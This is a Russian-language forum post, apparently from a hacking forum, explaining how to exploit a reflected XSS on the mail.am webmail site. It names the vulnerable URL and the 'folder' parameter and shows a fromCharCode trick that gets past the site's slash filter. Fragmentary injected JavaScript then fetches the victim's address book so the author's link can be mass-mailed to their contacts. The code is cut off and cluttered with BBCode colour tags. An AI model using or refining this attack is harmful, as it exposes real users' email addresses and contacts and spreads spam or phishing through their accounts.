Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях.
Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.
В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.
1) Пассивная XSS на сайте
http://m.mail.am/mail/reademail.php?id=x&folder=x
Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST
2) Внедряемый JS-код
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fromCharCode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]47[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// переменная для обхода фильтрации слэша
[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]send[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// запрос для получения страницы адресной книги